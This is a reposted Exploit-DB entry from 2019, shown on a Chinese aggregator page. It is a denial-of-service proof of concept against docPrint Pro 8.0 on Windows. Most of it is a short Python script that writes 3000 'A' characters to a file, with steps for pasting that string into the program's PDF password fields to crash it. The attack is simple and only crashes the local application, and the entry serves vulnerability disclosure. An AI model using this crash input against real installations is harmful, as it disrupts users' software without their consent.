docPrint Pro 8.0 – Denial of Service (PoC)

• Exploit Database
• 80 阅读

• 作者： Alejandra Sánchez
  日期： 2019-05-20
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46873/

• # -*- coding: utf-8 -*-
  # Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC)
  # Date: 19/05/2019
  # Author: Alejandra Sánchez
  # Vendor Homepage: http://www.verypdf.com
  # Software: http://dl.verypdf.net/docprint_pro_setup.exe
  # Version: 8.0
  # Tested on: Windows 10
  
  # Proof of Concept:
  # 1.- Run the python script "DocConverter.py", it will create a new file "DocConverter.txt"
  # 2.- Copy the text from the generated DocConverterr.txt file to clipboard
  # 3.- Open docPrint Document Converter
  # 4.- Go to 'Setting' > 'PDF Security'
  # 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
  # 6.- Click on 'Add File(s)', and select a supported file, e.g. 'sample.doc'
  # 7.- Click on 'Start', you will see a crash
  
  buffer = "\x41" * 3000
  f = open ("DocConverter.txt", "w")
  f.write(buffer)
  f.close()
  

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